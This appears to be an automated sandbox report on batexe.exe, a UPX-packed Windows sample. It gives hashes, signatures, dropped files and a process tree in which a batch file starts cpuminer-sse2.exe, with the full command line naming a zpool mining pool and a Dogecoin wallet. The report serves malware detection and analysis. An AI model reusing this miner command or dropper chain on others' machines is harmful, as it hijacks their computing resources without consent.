73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 01:33

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3920	b2e.exe
3864	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/424-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 424 wrote to memory of 3920	424	batexe.exe	74
PID 424 wrote to memory of 3920	424	batexe.exe	74
PID 424 wrote to memory of 3920	424	batexe.exe	74
PID 3920 wrote to memory of 2228	3920	b2e.exe	75
PID 3920 wrote to memory of 2228	3920	b2e.exe	75
PID 3920 wrote to memory of 2228	3920	b2e.exe	75
PID 2228 wrote to memory of 3864	2228	cmd.exe	78
PID 2228 wrote to memory of 3864	2228	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:424
- C:\Users\Admin\AppData\Local\Temp\B1EB.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B1EB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B1EB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B4D9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B1EB.tmp\b2e.exe

Filesize
832KB

MD5
e1bd95ac3f9c6ce43914de2a53967fee

SHA1
3e03982c075df051d5a8dd837f42873f30483faf

SHA256
45c3475b58fbaa942be0297167c5c3fbbfe7295aa3fcbb4fb61df1348f55c550

SHA512
2166424e86301bbe04fbcce5d0b91562248845c5b1a7e889fee9a95d1c872dd6ea5cc85792b54e6d085095339be2f2b7f30cfd9b40a071b51c96a5009cc96f00

Download Submit
C:\Users\Admin\AppData\Local\Temp\B1EB.tmp\b2e.exe

Filesize
1024KB

MD5
55d3fcf113506e85b6cf485f08b11290

SHA1
539d601fdd7e37fe22412d8c73023e21293ac62c

SHA256
519083ea4de496637895b9c3dd7fa5d9fc1140325272570f09aa0d2bad46f2d3

SHA512
62c0dc6a36ef819eede73c8b041fbdf579ec0ae399654a73a4628555bb84c4e1fdcf314deb659f41986204e2d92acd886dd8735a24a150a309d4035b58a33ee4

Download Submit
C:\Users\Admin\AppData\Local\Temp\B4D9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
256KB

MD5
11e8812bfa1d698cdeb73a16c1d7c963

SHA1
e8708fd452ab5946b380d0c353ac26acf289e548

SHA256
e0f9ddf8afd30511763f0cf792369e32c955f15d9529c00c5fe9298a80d74402

SHA512
fd54c9c6f3520b2ced6b42235ebfce6d8b622c53f1fbf810baace657a7d44430968b5ff90cd1d860dbdf7550dd8cd467636c862ff0dd0832f25145efccc7731e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
320KB

MD5
e63bf5df87e2ea807dc353cc5aa9aab1

SHA1
69fc94bbebe878711cb133c3a1affb80c0bdecff

SHA256
2c9d6315f90367b959d3c32badd99bbc03eb808e4a46db72ccf2e81788b41533

SHA512
70f2b2a8a4c8ab23d81266cd23b75c27ced29a1eab8c80d95c57b595b10254b7229cc03b637716edbfad2a83827f2c557847b98d1de80256beec05c9512ee4bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
320KB

MD5
e748e3357af6e4674ff8962691273b0d

SHA1
0acfc30d68a1ef7c6790a79270864448f70f0aa8

SHA256
84ff770c784909548dbca7bd2a24c8e82338b142f2d4893023e25c52f70e8d14

SHA512
0bd15154698983c85b46810d8fef9092f4d0725882421d6db61f168873af967808c467b924dcb8ee72aaad6e10202edab14916580fc442e14b9d8c85f9d07dcc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
128KB

MD5
48c422e815911804d8322f84e605438f

SHA1
b577cb4575fdf07ead63d0f9831833f4f30788e9

SHA256
3247538f008c10c405b77c7a1ff636bd7f7e72b0cf4b5990870c157958b4e6ea

SHA512
0278d1c8a8bb02bb70bac382c89481451ddd147f2b195fed3cf1105524358a04703be54186e138d0e1f1423441e694cd292eb890cfe66bc421eb160821548f8c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
64KB

MD5
e98583e2f3157ea2561f40a91a79b195

SHA1
770932f48dbea7a78a3b21e3df65e329a27313ff

SHA256
f6b3de2ac1e9c449daf82a3bd6fa52d2ed60e73e8cdd25d5d2194586a8d10de2

SHA512
cfa97067447a389dc5439dc42ca467f97947fa7010314cad0b99655688361721720bb33e34a1c7b22c93d807327b756109f63d15a40df5aaec620b0d0e1acc7f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
128KB

MD5
8d949f4e279a9a80f50d7c2e0c7bff36

SHA1
92e29300716211895b2d8cd4cf010452f0132152

SHA256
2e87614d15e62262c8b0a0c65e302b15e971b591469f3c679e7e516934cf621f

SHA512
36565dc0a3290ac8c5e0fd0a2756764ce8e49a7ef52a437caad549c7ea1ac3ac7dfe05cd4951ed6b17051768fd9733c94365d85832092c429b0b74ab62a338fb

Download Submit
memory/424-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3864-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3864-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-42-0x000000005BBB0000-0x000000005BC48000-memory.dmp

Filesize
608KB

Download
memory/3864-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3864-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3864-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3920-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3920-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download